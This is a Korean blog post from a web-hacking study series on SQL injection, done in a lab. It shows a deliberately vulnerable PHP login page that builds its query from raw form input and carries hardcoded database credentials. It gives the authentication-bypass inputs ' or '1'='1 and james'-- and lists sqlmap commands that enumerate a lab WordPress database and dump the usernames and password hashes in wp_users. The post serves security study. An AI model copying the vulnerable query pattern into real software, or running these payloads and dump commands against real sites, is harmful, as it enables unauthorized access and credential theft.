일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 취약점
- stock price
- meterpreter
- programmers
- HTML Injection
- study
- SQL Injection
- StringBuilder
- wpscan
- 웹해킹
- ToDoList
- 써니나타스
- 정보시스템
- CSRF
- 취약점진단
- SQLMap
- hackerrank
- metasploit
- Router
- todo List
- 모의해킹
- Algorithm
- algotithm
- Suninatas
- leetcode
- 라우터
- todo
- 모드 설정
- java
- 미터프리터
- Today
- Total
보안 / 개발 챌린저가 목표
SQL Injection 본문
SQL Injection을 더 알고 싶다면~
▶ SQL Injection
- 가장 간단한 예
§ 문자열에 입력하는 ' (싱글 쿼테이션)
§ 주석 처리에 사용하는 - (하이픈) 기호
⇒ PHP에서는 ' (싱글 쿼테이션)의 취약점을 막도록 2가지 방법 지원
ⅰ) 함수 addslashes()를 사용하여 ' (싱글 쿼테이션)기호 앞에 (\)역슬래시 추가
ⅱ) php.ini의 magic_quotes_gpc 옵션 활성화(On)
▽ 인증 우회
① 각 PHP 페이지의 소스 코드
/* config.php */
<?php
$mysql_hostname = "localhost";
$mysql_user = "python";
$mysql_password = "python";
$mysql_database = "wordpress";
$bd = mysql_connect($mysql_hostname, $mysql_user, $mysql_password) or die("db connect error");
mysql_select_db($mysql_database, $bd) or die("db connect error");
?>
/* login.php */
<html>
<head>
<meta http-equiv="Content-Type" content="text/html" charset="utf-8">
<title>Login Page</title>
</head>
<br>
<center>아이디와 패스워드를 입력해주세요</b></div>
<form action="check.php" method="post">
<label>아 이 디 :</label><input type="text" name="username" class="box"/><br>
<label>패스워드 :</label><input type="text" name="password" class="box"/><br>
<input type="submit" value="로그인"/><br/>
</center>
</form>
</body>
</html>
/* check.php */
<?php
include("config.php");
$myusername=$_POST['username'];
$mypassword=$_POST['password'];
$sql="SELECT user_login, user_pass, user_email FROM wp_users WHERE user_login='$myusername' and user_pass='$mypassword'";
$result=mysql_query($sql);
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html" charset="utf-8"> <!--utf-8설정-->
<title>Login Page</title>
</head>
<?php// echo $sql; ?>
<?php
while($str = mysql_fetch_array($result)){
echo "
$str[user_login],
$str[user_pass],
$str[user_email]<br>
";
}
?>
</body>
</html>
② 아이디와 패스워드를 입력하는 칸에 ' or '1'='1 를 넣어 실행시키기.
③ 결과 설명.
- 네모친 부분이 입력 창에 입력 받은 부분.
- wp_users 테이블에서 user_login이 참이고, user_pass가 참인 아이디와 패스워드와 이메일을 반환하라는 의미.
⇒ ' (싱글 쿼테이션)의 핵심 : user_login과 user_pass를 모두 참으로 하여 전체 결과를 참으로 한다는 것.
④ 아이디 입력 칸에 james'-- 를 입력하여 실행시키기.
☞ 주의할 점!
주석 기호 뒤에 스페이스로 한 칸 띄어야 함!
즉, 하이픈 두개에 스페이스 하나가 뒤의 구문을 주석 처리함.
⑤ 결과 설명.
- 주석 기호 다음의 쿼리 문은 모두 주석 처리 되었음.
- 즉, 쿼리에서 패스워드 인증을 지나치게 된 것.
⇒ 몇몇 쿼리문 입력만으로는 SQL Injection을 수행할 수 없기에 자동화된 도구를 사용. = sqlmap
▼ 기밀 데이터의 조회
- sqlmap
§ 파이썬으로 개발된 오픈소스.
§ 사이트 url을 통하 SQL Injection 취약점을 찾음.
§ MySQL, Oracle, PostgreSQL, MS-SQL 등 다양한 DBMS를 지원.
옵션 | 설명 |
--url | 단일 목표 URL을 가리킴. |
--level | 테스트 단계의 수준을 정해 실행하는데, 1~5까지 있으며 숫자가 높을수록 깊은 단계의 테스트 수행. |
--risk | 테스트의 인젝션 위험도를 의미. 0~3까지 있으며 숫자가 높을수록 위험도가 높음. |
--dbms | DBMS를 지정하여 테스트하도록 강제함. |
--T | DBMS의 테이블을 지정. |
--columns | DBMS의 해당 테이블에 있는 칼럼을 나열. |
--tables | DBMS의 테이블들을 나열. |
- 취약점 url을 지정함.
- 나의 실습에는 vid가 SQL Injection이 가능한 취약점으로 설정.
① SQL Injection 기법과 명령어를 보여줌.
sqlmap --url "http://192.168.0.132/wordpress/wp-admin/admin-ajax.php?action=rss&type=video&vid=1" --level 3 --risk 3 --dbms MySQL
② 해당 사이트(192.168.0.132)에 어떤 테이블이 있는지 확인.
sqlmap --url "http://192.168.0.132/wordpress/wp-admin/admin-ajax.php?action=rss&type=video&vid=1" --level 3 --risk 3 --tables
⇒ 여기서 눈여겨볼 테이블은 마지막의 wp_users
③ wp_users 테이블의 칼럼들을 알아내어 확인.
sqlmap --url "http://192.168.0.132/wordpress/wp-admin/admin-ajax.php?action=rss&type=video&vid=1" --level 3 --risk 3 -T wp_users --columns
⇒ 여기에서 필요한 정보는 user_login과 user_pass
④ user_login과 user_pass의 내용을 알아내기.
sqlmap --url "http://192.168.0.132/wordpress/wp-admin/admin-ajax.php?action=rss&type=video&vid=1" --level 3 --risk 3 -T wp_users --columns -C user_login,user_pass --dump
'IT Security > Web hacking Study' 카테고리의 다른 글
HTML Injection (0) | 2020.11.10 |
---|---|
Metasploit (0) | 2020.11.10 |
Scan (0) | 2020.10.27 |
LFI & RFI (0) | 2020.10.15 |
PHP에 대한 전반적인 이해 (0) | 2020.09.12 |